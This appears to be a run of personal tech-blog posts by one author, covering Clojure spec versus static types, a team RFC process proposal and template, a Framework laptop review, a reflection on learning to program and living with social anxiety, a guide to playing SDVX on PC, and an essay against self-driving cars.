To be honest, a static type system and specs aren't actually all that comparable (I'm going to keep comparing them though). Specs can be considered a trade-off between static and dynamic typing, but I think it's an extremely compelling trade-off. Two of the big advantages of typed languages are communication (documentation) and robustness. These are gained back with spec and other good libraries like malli.

What you get with spec goes way beyond what a strict, static type systems gets you, such as arbitrary predicate validation, freely composable schemas, automated instrumentation and property testing. You simply do not have these in a static world. It speaks to the power of Clojure (and Lisp in general) that these are just libraries, not external tools or compiler extensions.

One of the great thing about specs is how they are added à la carte and only applied to the things you specify, while static types have to be specific everywhere. I know you can technically do this in gradual type systems, but the point of a gradual type system is to gradually add types to an existing un-typed codebase. This will inevitably cause some types to be an implicit any when you are trying to mix typed and un-typed code together, making it generally unsound.

This is great for prototyping because you can write and iterate over the implementation in your usual Clojure style and when it's done, write the spec for correctness, validation, testing etc. Of course, you can write the spec first as well and plan it out like that, but the point is that it's flexible and up to you.

I also find that you still need the same tests using a statically typed language that you would need using Clojure specs. The reason being that the type system does little to ensure semantic correctness.

Spec, on the other hand, validates and conforms any predicate (not just type) for the args, the return, and can also validate relationships between the two. All of this is external to the function's code, separating the logic of the function from being commingled with validation and documentation about the code.

For example, consider a sort function. The types can tell me that I passed in a collection of a particular type and I got a collection of the same type back. That's great, I know the types of things in the collection are correct, but did the collection actually get fucking sorted? This is what you really care about at the end of the day, does the function do what you intended.

This is difficult to express using most type systems out there, if not outright impossible. If we were to look at the language with the best type system, you could use dependent types to express it,⁽⁵⁾ but it certainly wouldn't be something that you get for free with Haskell and certainly not in TypeScript. So you'll still have to write tests to ensure that the function is semantically correct for anything non-trivial.

None of the ideas in Clojure specs are new. In fact, I'm reminded of a language from the 80's that did something similar called Eiffel, with its "design by contracts and assertions" which spawned this entire "Design by Contract" approach to software.

I'm also not going to say the specs are the end of programming language design and that static types are officially CANCELLED, because I'm too much of a Rust fanboy I still think static types are good for certain things.⁽⁶⁾

Static typing allows you to write monolithic projects that have lots of internal interdependencies. Refactoring often becomes painful when a particular piece of data is used in many parts of a monolithic project. When you change the shape of that data, then you have to make sure you update every place that uses it. This is where static typing can help ensure that you didn't miss anything in your refactoring and isn't really a spot that specs hit.

Right, so now I've just noticed that I haven't given any examples and that I probably should do that instead of rambling on for 1500+ words. But I'm not, because I'm lazy I want you to develop as a person and look for things yourself.

Good luck and goodbye.

Ok fine… here's a talk by Stuart Halloway that just says everything I said but better (there are also examples part way through). You should have just watched that instead of reading this shit in all honesty. Idiot.

• Links to company documents have been replaced with fun videos.
• My comments (originally on Notion) providing addition info have been written as footnotes.

The RFC template is also at the end.

Summary

The RFC (Request For Comments) process is intended to provide a clear path for new ideas to enter the organisation. It also allows all team members to collaborate on the design in a consistent and controlled manner.

Motivation

The RFC process is meant to support, or preferably replace, the bigger items in the current issues register that take time to explain and discuss in engineering meetings.

RFCs allow for semi-formal, asynchronous communication that enable team members to put more time and thought into what they're proposing or commenting on instead of being rushed in a meeting that has lasted for over two hours (or is the cause of the meeting taking more than two hours). RFCs also ensure that we have proper documentation (along with conversation about it) surrounding proposed and planned changes, instead of being quickly jotted down in the aforementioned meeting.

Many items in the issues register are also early ideas that could benefit from a structured plan or document to be fleshed out over time.

General reference

An RFC is a document that is created in the Notion RFCs page using the RFC template that introduces new ideas to the organisation. Team members can comment on the document to discuss the idea. When all team members agree that the idea is to be implemented or not, the document is set as Accepted or Inactive.

Technical reference

Larger changes to organisational processes should be submitted as RFCs. Examples of recent items from the issues register that should have been written as RFCs if implemented at the time are:

• Moving CI/CD to GitHub Actions.
• Scraper job definitions.
• Implementing the CQRS architecture pattern.

Examples of changes that do not require an RFC:

• Rephrasing, reorganising, refactoring, or otherwise ("changing shape does not change meaning").
• Additions that strictly improve objective, numerical criteria (changes where no tradeoff will need to be made and where the result is objectively better than what it was before in all situations).

What the process is

RFCs are created in the RFC page in Notion by using the RFC Template. RFCs are assigned an ID that is incremented by one from the previous RFC (I don’t think we actually need to do this, but it’s a standard and standards are fun!!)

In progress RFCs don’t have to be drafted in Notion. You could, for instance, use a text editor that supports Vim keybindings (as you should if you want to be a good engineer) and write the draft locally. But if it is on Notion and viewable by others, it should be given the Draft status and no formal discussion should be done on the proposal until writing has been completed. When considered finished by the author, the RFC will be given the status of Active and can be shown to (preferably announced on the engineering Slack channel) and discussed by other team members.

RFCs should also follow standard typography rules and be aesthetically pleasant for other members to read (Notion uses a superset of Markdown, so remember to use code blocks, links, tables, and other typographic elements when applicable). It is required to use correct formatting for a document, although in most cases that means following the template and adding more subheadings when necessary (use the “Heading 2 block” for subheadings).

Comments can be done using Notions' commenting tools (either on the entire page, or on singular text blocks). While active, RFCs are not immutable and are to be considered as “living documents” that can be changed according to the discussion surrounding them (Notion also provides the ability to “resolve” comments when a change has been made).

It is important to remember that the comments to an RFC are as important as the RFC itself, and anyone reading the RFC should also be reading the comments. This specific RFC has some extra contextual information I have written in as comments that are highlighted in yellow on Notion.

Also, please read the entire RFC first before commenting.

If all team members are happy with the RFC and the proposed changes, the status will change from Active to Accepted and work on the proposal can carry out. In comparison, an RFC that is rejected will be given the Inactive status (it sounds nicer than “rejected”). When either accepted or not, the RFC is to be locked in Notion to prevent further edits.

Devil’s advocate

• RFCs may take some time to write to be able to properly explain all the details of a proposal.^[1]
• Some people do not like writing, or reading. Kids these days… smh.

Rationale and alternatives

The RFC process gives a good balance of formality and agility over current processes, as it discourages un-actionable or vague items, and gives confidence to team members on why processes are being implemented. It is a tried-and-true methodology used by many in the industry and can help team members to communicate effectively and share important knowledge and context.

Other prominent processes used in the industry include Google’s design docs and Architecture Decision Records (ADRs).

I find that design docs are too structured and formal for a fast-paced agile team (Google recommends docs have a length of 6 to 12 pages 😐) and enforce too many specific subsections that may not be applicable in all circumstances. This can lead to the author being confused on which subsections to include. Comparatively, the sections of an RFC are often overarching enough for an author to be able to find something to put in the section, no matter the subject.

ADRs can vary widely in structure depending on the template used, which may help in some cases, but can typically be its own detriment as the process will need to go through much more iteration to conform with the team than RFCs or design docs, both of which have standard historical precedents on what the process should look like.

In general, RFCs have a slightly more informal tone than either, which can help alleviate some peoples’ aversion to writing or reading technical documentation. I believe them to be a good mix between formality and informality that can still convey information in a concise and efficient manner.

Alternatively to all other options, we could maintain current processes for discussing ideas, but possibly start writing things down a bit more.

Prior art

The RFC process started in 1969 on ARPANET and was first written by Steve Crocker. He did so to avoid “sounding presumptuous” when compiling notes from a meeting of graduate students and staff. Other members of the group soon followed suit, writing RFC memos of their own, printing them out, and mailing the documents to one another in the era before email.

The RFC process is now used by a number of open-source projects, including prolific frameworks and languages such as Ember, React, Vue, Swift, and most importantly (for obvious reasons that I won’t get into), Rust, to propose, implement, and plan new features. Some companies, including Artsy and Uber, have also adopted the process for introducing technical, and in Artsy’s case - cultural changes, internally to help scale the planning and decision-making process for a growing team.

In these instances RFCs are especially helpful to culture and community, while some organisations might reach an agreement by decree of engineering leadership, RFCs provide a more egalitarian approach.

A side note on cultural impact

Apart from the obvious technical benefits, I have found that the RFCs (specifically the discussion part) in other communities can be useful when rejecting ideas. A well explained, well argued, and well reasoned RFC will require a similarly well explained, well argued, and well reasoned argument against it, which may soften the blow for an author whose RFC is being shut down. The asynchronous communication helps with this by allowing opponents to put more thought into their constructive criticisms and word them properly.^[2]

In the same vein as Steve Crocker trying not to “sound presumptuous”, the name “Request For Comments” sets the tone of the document for the author as a way to say “I’m throwing this idea out there, what do you all think?” This can help with emotionally distancing the author from the proposal and being more open to criticism.^[3]

Documenting big decisions more transparently empowers everyone on a team, regardless of skill level or experience, to both observe and participate in the surrounding discussions. And since writing is a friendly medium for distributed teams, the asynchronous nature of RFCs can contribute to a more inclusive culture that welcomes anyone to take part in the conversation.

Open questions

• Does this RFC template and process work well with the team? What further refinements should be made?

Future possibilities

• If used a lot, more metadata should be added as Notion properties for easier filtering of the RFCs page.
• RFCs may be used outside of engineering and could become a part of “general product development”.
• The RFCs Notion page could be connected to a Slack channel to allow readers to be easily be updated on changes.

Many engineers like to point out something wrong the moment they see it. I think we are very good at it because we’re basically trained for it. When it comes to code reviews, or design reviews for complicated distributed system protocols, we want to be able to spot flaws as quickly as possible. But there’s a point where it just becomes a habit.

I think it is important then to try to be curious and understand why something is the way it is first. Something an RFC process provides in spades and something I don’t think should be underestimated.

The negatives against RFCs I’ve put in here are genuinely my best effort of trying to find them, but I still found them very weak. So much so, that I’ve considered removing them entirely because I didn’t think they were even worth mentioning.

Of course, there is no real issue with calling it the “negatives” or “drawbacks” section instead if that is what you prefer.

Summary

One paragraph explanation of the proposal.

Motivation

Why are we doing this? What use cases does it support? What is the expected outcome?

General reference

Explain the proposal as if it was already used in the organisation, and you were teaching it to another team member for the first time.

That generally means:

• Introducing new named concepts.
• Explaining the feature largely in terms of examples.
• Explaining how members should think about the proposal, and how it should impact the way they work. It should explain the impact as detailed as possible.
• Giving sample code for basic usage, if applicable.

Technical reference

This is the technical portion of the RFC. Explain the design in sufficient detail that:

• Its interaction with other features is clear.
• It is reasonably clear how the feature would be implemented.
• Corner cases are dissected by example.

The section should return to the examples given in the previous section, and explain more fully how the detailed proposal makes those examples work.

Devil’s advocate

Why should we not do this?

Rationale and alternatives

• Why is this design the best in the space of possible designs?
• What other designs have been considered, and what is the rationale for not choosing them?
• What is the impact of not doing this?

Prior art

Discuss prior examples (positives and negatives) of this proposal being done in other various organisations, projects, etc.

This section is intended to encourage you as an author to think about the lessons from other projects, and to provide readers of your RFC with a fuller picture. If there is no prior art, that is fine as well - your ideas are interesting whether they are brand new or if it is an adaptation from other projects.

History lessons are also encouraged. 🙂

Open questions

You can specifically request comments on certain parts of your proposal here.

Future possibilities

Think about what the natural extension and evolution of your proposal would be, and how it would affect the organisation and project as a whole in a holistic way. This is also a good place to "dump ideas", if they are out of scope for the RFC you are writing but otherwise related.

If you have tried and cannot think of any future possibilities, you may simply state that you cannot think of anything.

What is most interesting to me about the post is the ending where, as an "open-source software enthusiast", I felt like I had to justify switching from Linux so I wrote what is probably the most common argument against Linux.

[…] MacOS, with all it's shitty proprietary software restrictions, is incredibly easy to use. Even though most of my issues with Linux are mainly from using a distro like Arch, it's been a whole week I haven't had any problems with it. I haven't had to mess with any drivers or config files, everything just worked out of the box.

A few years ago I probably would have hated this, because I preferred constantly breaking my computer and learning how to fix it. But now I have a job and actual things to do. I don't have time to spend a whole weekend reading man pages. Although I would say I have learnt enough where I could fix a problem that would have taken me a day to now only take a few minutes, I can't be bothered with it any more.

It's interesting because I've gone full circle again.

This may just be a coincidence but since I switched to MacOS I've become increasingly negative towards technology in general. In fact, apart from some programming languages, I can only recall one time I've said something with outright positivity about a piece of tech on this blog.

My opinions of Apple and the general tech industry have changed a lot since I've written that post. I no longer see a shiny new gadget and wonder how it can improve the lives of people, but how it will be used to rent seek and extract money from its' users in the most exploitive ways possible using every dark pattern some marketing team A/B tested to maximise user domestication.

I don't have that exact MacBook any more as I bought an M1 Mac early last year, so that's what I'm going to be comparing it to with the Framework laptop I've been using for a week.

And finally, we're at what this post is supposed to be about. Framework promises a laptop that is fully modular and user-serviceable by focusing on ease of replacement and availability of frequently replaced parts, including the battery, screen, keyboard, and bezel.

If you've ever built a PC using individual parts, imagine that but for a laptop.

The laptop hasn't started shipping in Australia yet, but I got tired of waiting and got it shipped here using a US delivery forwarder. After paying a stupid amount for import fees, I was ready to see what the fuss was about.

The first thing you need to do after⁽¹⁾ opening the box is assemble the laptop. Which is a great way to see if they delivered on their promise of being user-maintainable.

And holy shit did they fucking deliver.

Standard sockets are used for almost everything - NVMe, RAM, even the WiFi card. I could just go out to any computer shop and buy replacements for these right now. The only thing missing from that list to make a computer is the CPU, which makes sense since Intel and AMD don't make socketed CPUs for laptops.

The mainboard is still very easily replaceable however so you can buy a different one if you wanted to change CPUs. There are QR codes on all high use parts (battery, screen, touchpad, etc.) to take you to guides on how to replace them.

And the expansions ports, my god. My 2021 MacBook has two USB-C ports. TWO. AND I WAS OKAY WITH THAT.⁽²⁾ Framework has four ports that you can change between USB-C, USB-A, HDMI, DisplayPort, MicroSD, and a fucking SSD so there's no reason to carry adapters anymore.

The build quality is a lot nicer than I expected. I don't think anything could beat the metal chassis of a MacBook, but it's certainly better than most non-Apple laptops I've touched. The trackpad in particular feels very good and the only other trackpad I've ever liked are the ones on MacBooks.

So after assembling the laptop, next step is to turn it on and install Linux on it (I certainly wouldn't put Windows on any machine I don't intend to use for gaming). Normally saying "turn on the machine" would be a given and I wouldn't need to say it except in this instance I'm highlighting it because… mine didn't turn on.

After a bit of messing around with the parts and looking on the Internet I had to reset the mainboard state, which was a bit annoying but a lot easier than it sounded at first.

Now with that sorted, it's time to install Linux. I've been eyeing NixOS for a while as well, so might as well try that out.

Yeah that didn't work too, couldn't boot from the USB I put NixOS on.

Not sure whose fault that was (the USB, NixOS, or Framework) but since I could boot from a Manjaro USB just fine, I decided to install that instead.

With all my things setup, let's talk about performance. Does this stack up with an M1 MacBook?

What? Fuck no. Why would you ever think that?

I've mentioned that I can only recall one that I've talked positively about technology. That time was with Apple Silicon.

The M1 Mac is the biggest jump in laptop hardware I have ever seen. It is almost unrivalled in performance and power efficiency, and a lot of that (as I said in my post) is because it's an SoC (System on Chip) where all the parts are on a single system.

But in order to "fix" or "upgrade" an SoC you need to get an entirely new SoC and that means buying a new laptop.

Framework could never compete with Apple on performance in a post Apple Silicon world. But when I realised that 8GB of RAM wasn't enough in my 2018 MacBook I had to wait 3 years and spend $2700 on an entirely new laptop to be able to increase it, so I'm thinking maybe it's better this way.

What else is great is that I don't have to use MacOS any more. I said in my MacBook impressions that I liked MacOS because it was easy to use and I don't have to configure everything. That was before I started configuring everything.

Turns out I like to tinker with my things, and MacOS constantly got in my way of doing that.

I once tried programmatically managing my displays and windows⁽³⁾ like you can with i3wm. That didn't work out.

Updates require a reboot and take several minutes.

I also wanted to be able to force my display into a vertical orientation so I can play SDVX the correct way. Nope, can't do that.

One time iTunes started crashing on launch for some reason and I was told to update to OSX Catalina (which was still in public beta at that time) to fix it.

Updating did fix it, but only because Apple removed iTunes in Catalina and replaced it with Apple Music.

MacOS keeps trying to do things that are "convenient" like switching the audio input to your AirPods from your iPhone to Mac but is actually just fucking annoying.

Homebrew kinda sucks as a package manager and Nix needs a stupid hack to get working with the "security features" of Darwin (and is still not that good when compared to Nix on Linux).

Safari is trash but it gives the best battery performance out of all the browsers so I feel forced to use it.

You pay Apple to spy on you and you can't stop it.

I've actually wanted to switch back to Linux for years now, but Apple Silicon kept me in the ecosystem. I never thought it would be worth it to downgrade to a worse system just for an OS.

Unless… unless there was a laptop that appealed to my tinkering tendencies and let me change it however I wished, just like with my gaming PC. Maybe then it would be worth it.

In unrelated news, today Framework announced that they have raised $18 million in a Series A, which is great for them and I hope they will be grow the company in exciting ways. Unfortunately, I don't actually trust any company that gets VC money⁽⁴⁾ to stay true to their mission.

Making re-useable and repairable consumer goods isn't exactly the best way of making money, and Framework is going to have to create returns for their investors somehow. I fully expect them to become "evil" at some point. Whether that be from being bought out, or going back on their promises and creating a closed ecosystem.

But this laptop is re-useable and repairable. When I won't want to support Framework anymore, that doesn't mean I will be forced to stop using this thing. Apart from if the chassis starts breaking apart, there's no reason that I'll need to buy anything specifically from Framework.

Anyway let's talk about Linux. It's been a long time since I've used it as a daily driver, and I was a little worried that MacOS ruined me and I wouldn't remember how to do anything.

So I'm back on Manjaro now as I still can't really be bothered with Arch. But even though it has more batteries included, I still crave configuring it myself and making it my own.

I've been using Sway which is the i3wm replacement for Wayland that I wanted to try because I hate Xorg. And I'm quite surprised that my muscle memory for keyboard hotkeys is still there.

And I've also been redoing my dotfiles from scratch. Neovim in particular has gone through a big change, with the entire config in lua now.

On all my previous Linux installs, I've had one little different issue that took a while to fix⁽⁵⁾ because I refuse to use "normie distros" like Ubuntu where things just work. HAH, can you imagine that? A Linux distro you don't have to spend 3 hours in the Arch wiki to get working? Disgusting.

But these have been things like - Bluetooth not working, PulseAudio being PulseAudio, and the computer not recognising external drives. The good shit.

And it seems that this tradition will still continue as I can't get deep sleep working correctly which means my battery drains faster than it should while the computer is suspended.

Apart from that, it's been stable even with all the things I'm changing constantly. I don't know when or what I'm going to do to break it, but at I know that I will at least be able to fix it.

I've missed this. It's good to be back.

By the way, Windows still sucks. Hopefully with the Steam Deck running on Arch Linux,⁽⁶⁾ more games will start to support Linux and I can move my gaming PC off that garbage fire hellscape people refer to as an "Operating System" but is actually just an NSA backdoor.

My feelings.

But first, a retrospective on this past year of writing garbage on the Internet.

I think it's been going alright with what I set out to do last year,⁽¹⁾ there's that one weird post that seems bugged out, but overall, I'm slowing creating a body of work that I can be somewhat proud of.

Slowly is probably the keyword here, if you look back you'll probably find that the rate at which I've been writing new posts has gone from once a week, to once a fortnight, and is now roughly once a month. The obvious answers as to why this has happened are that I'm getting lazy or/and I don't have that much to talk about any more, both of which are true to some extent but it's not really as simple as that.

Having to write all these things and put my thoughts into words has requires me to actually examine and think about them critically. And that's good of course, I think it gives me more clarity on things and helps me to construct my opinions better. But there's this one thought that's been popping up repeatedly over the past year.

Why do I think these things?

I'd really like to think that I formed all these opinions on my own through and objective and evidence based view of the world, but I can't believe that in good conscious without feeling like a liar and a scoundrel. I feel like the answer is just "I read it on the somewhere on the Internet and I either haven't put enough though into it or I'm too stupid to argue against it."

Anyway, let's talk about something fun and uplifting instead. How about how I started programming? That's a thing people ask me often when they find out I started working as a software engineer three months after I finished high school.

In July 2015, Zachtronics released the game TIS-100 onto the Steam store. It's an assembly language programming game and I, a teenager that was into weird hacker shit,⁽²⁾ thought would be cool and fun to play a game that looked like a glorified DOS prompt. I spent my weekly pocket money allowance and downloaded the game excited about writing code of a made up computer language into 12 black squares.

Turns out assembly language, even a made up one - real confusing. Could not get past the third level.

Was it because I've never written an actual line of code (let alone a line of assembly) in my life before? I thought it would probably help if I actually knew what programming was, so I decided to put the game on hold for now and looked up a Python tutorial on the Internet.

I don't remember what tutorial it was, but I remember thinking that Python (and programming in general) was surprisingly easy to understand and I should have started learning this earlier. And you know what, maybe there are other things that I could learn on the Internet which are surprisingly easy to understand that I never bothered to look at before. Things like economics, philosophy, linguistics - these are things I always thought would be interesting to learn but thought I couldn't understand so never really tried.

This has been my past 7 years, finding something I find remotely interesting and attempting to get a detailed understanding of it from researching it on the Internet. 2015 was also a interesting year for me because it holds my first memory of proper anxiety and depression.⁽³⁾ It's actually one of my clearest memories from my child and teenage years, which is unfortunate because I don't have many of those.

Showers are very important tools for programmers. I've designed many systems and fixed many bugs in them while trying to figure out how much shampoo to use. Throughout my time as a programmer, the shower has been the first place I go to when a difficult problem is ahead of me. Maybe it's also not a coincidence that the only place where I'm separated from my phone or computer is my second favourite place to be after being asleep in my bed.

Every piece of code I've considered "good" was not made in a black and white terminal on a computer, but in a box where bringing and trying to use a computer would destroy it.

It's just too bad I wasn't a programmer yet.

This memory comes from before TIS-100⁽⁴⁾ and takes place on a nice and sunny Saturday morning. There I was taking a shower and getting ready for another weekend of ignoring the outside world, playing video games, and leaving my homework to the last minute. I don't actually remember any shower I've had before TIS-100 so it seems the first shower I can recall ended with me on the floor crying and struggling to breathe.

All my life, I've been called a shy and reserved kid which is not incorrect at all, and anyone who met me would say the same, but I always felt the description was somewhat wrong, that there was more to it than that. Under that stream of hot water, I finally realised that I had (and still have) social anxiety; a genuine fear of interacting with other people. And then I realised how much this disorder has in the past and will in the future - fuck me over.

If I still got anxiety from my friends, how would I ever be able to cope in a job interview? Actually, how could I ever be able to deal with a job, cooperating with co-workers. At least in school I could focus mostly on myself and stay invisible even in group projects, but when my livelihood will start depending on it? I don't think I could handle it.

It was ingrained into me that my entire school life is supposed to lead me to and prepare me for getting a job.⁽⁵⁾ 17 years (and another 4 if I went to university) would go down the drain if problems with my brain make me unable to function as an adult in the real world.

That day I had decided that if I didn't find a way to fix myself, I'd kill myself before my 18th birthday.

I turn 22 next month so that obviously didn't happen. But not because I "fixed" myself (whatever that is supposed to mean), but because it didn't mess me up nearly as bad as I thought it would. Don't get me wrong, my brain is still all sorts of messed up and the suicide thing hasn't exactly gone away, so I've really just… learnt to live with it I guess.

Job interviews are actually as horrible as I thought though. Apart from my first, all jobs I've gotten have been through references who have sung my praises to the heavens and on more than one occasion called me a "coding prodigy".⁽⁶⁾ I still fear the day when I'll have to find a job by myself and with my merit as a person alone.

But back before 2015 I didn't know any of that. The future scared me as much as ordering food from the lady at the canteen and I never believed I would ever become something.

I wasn't particularly good at or have a real passion for anything back then. I did enjoy video games, but the only way you can turn that into a living is if you're extremely good at them or are extremely entertaining while you play them, and I was certainly neither. Then came the time after TIS-100 and I started realising that "hey, learning stuff on the Internet is actually pretty fun. I like this."

Finally, there was something I could attach myself to. Something I could do to not feel so worthless all the time. And so, I started to judge myself based on my knowledge of things (or the appearance of my knowledge on things).

I have a very low opinion of myself so I wouldn't discount the idea that this "detailed understanding" of things I tried to get from researching it on the Internet is just mindless regurgitation of the things other people say. Knowledge isn't just the ability to produce true statements, it isn't knowing what things are or what things will be, it's knowing why things are and why things will be.

The Internet was an easy way for me to feel intelligent.

This may sound like it's just a case of impostor syndrome, where I have a severe doubt in myself and my skills. But I don't think it's that. I know I at least have some intelligence because I know I would not have a job or be respected by my peers if I didn't. It's more that I don't believe my intelligence is my own or that it has been earned in any way.

While trying to "research :)" if other people feel this and if it's a known thing, I came across this academic article: "People mistake the internet’s knowledge for their own".

Normally this is the part where I summarise it and tell you how it applies but in last years' post, I mentioned that it's a bad idea to try to self diagnose yourself with things you read on the Internet, so for once I'm going to heed my own advice and leave that link for you to read for yourself.

Speaking of last years' post, I referenced six academic papers in there and I've only just mentioned the first (and spoiler warning, the only) one here. I like reading research papers. But do I like it because it actually entertains me or because it makes me feel smart? I don't know any more.

I wonder how much as a soon to be 22 year old I actually understand about the world. As far as I know everything I think is correct (or I'm at least on the right track and there is a clear path to completely understanding it), but that is objectively wrong and I must be missing something without realising it.

I worry that I've not just been reading and internalising ideas that are wrong, but that I've just been learning isolated knowledge and that I'm a Chinese room made of flesh, bones, and blood. That I can't do the actual interesting work of synthesis to combine information and ideas or derivation to determine new results from my existing knowledge base.

I want this blog to be a place of learning, but when I read previous writings I start to questioning whether I actually know what I'm talking about. Not that there's any I seriously object to now,⁽⁷⁾ I just find it hard to believe that I can be correct on anything, or if I actually added any value to anything and if it was worth writing at all.

My self-worth is almost entirely dependant on how smart I feel I am and having my thoughts in writing is exposing me to myself.

Epilogue

Enough of that depressing shit. The WRC is back this weekend with a new era of hybrid cars. Generally in motorsports a large regulation change like this narrows the performance gap between cars, which means maybe this year we'll see a different and not stupid country win rallies.⁽⁸⁾ So let's see how the inaugural event at Monte Carlo is going so far.

fml

And if you're wondering if I ever went back to TIS-100 now that programming is my job so you'd expect me to be better at it, I did in fact play it again in preparation for this post but…

Turns out assembly language, even a made up one - still real confusing. Could not get past the seventh level.

I have finished SHEZHEN I/O though, which is like TIS-100 (made by the same people too) but you're an electrical engineer, so maybe it's time for me to change careers.

There are many resources on the Internet for this.

• Step 2: Go to the SDVX Konasute website and play the game.

If you know Japanese, you shouldn't really need a guide for this. It's pretty self explanatory.

• Step 3: Try to convince people you aren't a weeb because you know Japanese.

Oh dear, people now think you're a weeb because you know Japanese (even though you definitely aren't), this is very bad. Here are some things to say when questioned about your Japanese language speaking abilities:

"No, I just like the language."

"I don't actually know much about Japanese history. Don't look at my bookshelf over there."

"I know I almost exclusively consume Japanese media, but that doesn't make me a weeb."

"I HAVEN'T WATCHED AN ANIME IN MONTHS SHUT UP I'M NOT A WEEB"

• Step 4: Develop an amnesia potion and forget Japanese.

So you couldn't convince people you aren't a weeb. Does this mean you'll have to accept the fact that you are one? No, don't worry! But, this just means we'll need a different approach to being able to play SDVX Konasute.

How To Play SDVX Exceed Gear On PC Without Learning Japanese So People Don't Think You're A Weeb

Okay so this is actually a guide on getting Sound Voltex Exceed Gear on PC to work, the joke part is over.⁽¹⁾ Since I don't know Japanese (because I'm not a weeb) I'm probably going to forget what to do and what buttons to press, so I'm writing this as a reference.

First the most important part is having a Japanese Konami ID with an e-amusement pass attached. This is very important, it HAS to be Japanese otherwise you can't play. Information on what e-amusement is and how to make a Japanese Konami ID is on remywiki.

Now we can actually download the game, go here and click the button that looks like a download button⁽²⁾ to download the .msi file.

If it doesn't download and instead sends you to a page with a bunch of gibberish, go back, right click the button instead and choose "Save Link As." You can name it whatever you want, but just make sure it ends with .msi.

Open the file and install the thing. It's pretty straight forward, press the button with "N" to go to the next page, "B" to go back, and the other one cancels. On the first page, tick the box it gives you (I'm assuming those are the terms and conditions), and on the next page is where where you can choose where the game is to be installed.

Now we can test that the game actually works, the installer should have created a desktop shortcut to click on, but if it didn't you can go back to the SDVX website and click the "PLAY GAMES" button at the top. That should take you to a webpage with another button to click which will open the game that you installed your PC.

Make sure to always open the game this way, do not try to open the .exe directly, going through the webpage is how the game authenticates your Konami ID account.

The game should ask to start updating (just say "Yes" or "Ok" to any prompts, it'll be fine I'm sure) or you can press the button with the folder and magnifying glass icon. Once that's done you can go to the settings and change stuff. If you have a SDVX controller you won't need to make any changes, but if you are going to use keyboard you can look at the bindings or change them here.

When you're done with that start the game and test it works, you will be on the trial version for now so there will only be a few songs to play. If it doesn't work then… I dunno, worked for me, can't really help you there.

For the next parts you might not be able to get through just with a basic understanding of website UX design, so I'll be providing translations (from deepL as I don't know Japanese because I am not a weeb) of what words you need to press.

Try not to remember what the characters are so you can be sure to not know any Japanese. If you have a good memory and find this too hard, try bad mouthing Japan to your friends and loved ones with things such as the horrific crimes committed by imperial Japan which the modern government still has not apologised for, or the depressing work culture, or the xenophobia, or the stagnating economy, or the… actually that's probably enough to not sound like a weeb.

Now you'll need to purchase a monthly subscription to the Basic Course, which is done with this link and by clicking 了承する ("Acknowledge"), selecting the payment method and 次へ ("Next"), then entering details as needed. You'll be asked to enter your password to confirm the purchase.⁽³⁾

You can either pay with PASELI or a credit card. Info on PASELI is also on remywiki. To use a credit card, you need to add a card to your account first. Log into My KONAMI and select クレジットカード情報 ("Credit card information") in the red "KONAMI ID" box, followed by 登録 ("Register"). Enter your card as requested then hit 確認 ("Confirm").

Once you've purchased Basic Course you can play all the songs that come with it, which you can find in the song list page which is determined if the song is listed with 最初からプレーできます at the bottom.

The rest of the songs are broadly available from two main sources:

• Song packs, which are purchasable from here. The prices vary based on the number of songs the pack contains. You can find out what songs are in each pack in the aforementioned song list page and using the last filter dropdown.
• Monthly bonus songs, made available to players who subscribed to Basic Course in a particular month.

One final note, if you don't feel good about giving Konami money because they're a terrible, awful, no good, shitty company whose executives deserve to sleep on the dirt that their brains are made out of as they rot away locked up in no-pizza island, don't worry! You can play a SDVX emulator like USC instead. Just download SDVX charts from here and you're good to go!

I did not find anything.

But what I have found instead is worth more than any amount of Ethereum or Bitcoin you could imagine; An endless source of entertainment from the crypto-currency community. It's the perfect mix of obnoxious tech-bros and wealth obsessed "investors", sprinkled in with an anarcho-capitalist's lack of empathy on top. Although most of the time these are all the same people.

But as is now common-place on this blog, let's start by talking about something else instead, another tech-bro fascination known as "self-driving cars".

I wouldn't call myself one because I don't want to be grouped in with the others who are, but I'd fit the bill as a "car enthusiast" and don't really see the point of self-driving cars. I like driving cars, so why would I want it to drive itself? And especially, why would I want to be banned from driving a car as so many self-driving car fanatics say I should be?

The main reasons I hear are them being more safe and having traffic congestion eased significantly. Which would be pretty good reasons if any of them were true and that our current self-driving car technology didn't suck balls.

Some say it's just around the corner, maybe a few years, they're wrong.

A self-driving car would need to be closer to Artificial General Intelligence (AGI) than current AI technology - that is, close to being able to mimic the processes of human intelligence, than our current methods of having GPT-3 regurgitating training data to trick people into thinking it understands anything.

The biggest reason for this is the fact that there are other people on the road. Driving is not so simple as just following a set of instructions, there are hundreds of external factors that come into play, creating scenarios for the driver that they may never have seen before and expect them to deal with it right then.

If you drive race cars (or pretend ones like me) you already know how you instinctively understand intent from other drivers through "car body language", where subtle movements and characteristics in how someone drives their car can signify what they're about to do. Normal commuters do this too everyday just as instinctively because blinkers aren't enough to understand the complete nonsense that goes through the head of the average driver or the complete nonsense of things that don't have blinkers - like pedestrians.

Granted, I have enough faith in human ingenuity to believe that this will probably get solved at some point, just not for a very long time - like decades long. I simply don't see how current AI architecture can even remotely get close to this level of heuristics.⁽¹⁾

So what about reducing traffic? The idea goes that if all cars were self-driving and completely safe, they'd be able to go any speed they want. And if we get all the cars able to communicate with each other, they'll be able plan out manoeuvring around each other even better than a human relying on "car body language" which would allow us to potentially remove stop lights/signs as we know they won't hit each other.

The problem I have with this thinking is that it's car-centric. How is the issue of traffic caused by too many cars solved by having more cars? Speeding the cars up won't do anything if there are too many cars, because sometimes cars have to slow down to do things like taking turns, or allowing other cars to merge onto the road. Traffic literally only exists because of other cars, adding more will always make it worse. Ironically, there's also the safely implications of having city criss-crosses full of high speed, high traffic, autonomous vehicles for anyone not in a car.

In my opinion self-driving cars won't help very much. To me, they seem like a desperate attempt to maintain car dependence suburbia with a flashy gadget that can be sold to you instead of actually trying to solve the issues facing a city.

So no, I don't think humans should be banned from the streets; I think cars should be banned from the streets.

The problems that self-driving cars aim to fix are mostly "American" issues that stem from decades of car-dependent cities. Yes, if you design a city such that everyone needs to drive everywhere all the time, you have problems of crippling traffic, high transportation costs, and dangerous roads. None of these issues really exist in walkable cities with high quality public transport where less people use cars, however.

Cars are expensive, require too much space, are terrible for the environment (yes, even electric cars, but that's a story for another time), and there should be less of them.

On a personal note, wanting less cars might sound strange to hear from a "car enthusiast" but this is why I don't like being grouped in with the others who just memorise the names of car models with their spec sheet and use them as status symbols. I prefer cars as impressive works of engineering where the only place they belong in is at a race track to fulfil their only purpose, which is to go as fast as possible, as safely as possible - with the latter being just as important. It's easy to make a fast car, but not so easy to make a fast car safe.⁽²⁾

